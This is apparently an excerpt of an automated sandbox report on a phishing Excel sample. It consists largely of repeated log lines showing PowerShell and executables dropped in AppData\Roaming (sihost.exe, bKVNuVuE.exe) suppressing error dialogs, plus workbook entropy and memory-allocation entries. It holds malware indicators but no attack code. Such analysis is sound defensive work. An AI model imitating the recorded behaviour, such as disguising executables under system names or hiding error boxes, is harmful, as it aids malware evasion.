Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process information set: NOOPENFILEERRORBOX

Source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	Stream path 'Workbook' entropy: 7.99883444676 (max. 8.0)
Source: 44330000.0.dr	Stream path 'Workbook' entropy: 7.99876854211 (max. 8.0)

Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 450000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 2690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 8C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 5400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 6400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 6920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 7920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 7C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 8C80000 memory reserve \| memory write watch	Jump to behavior
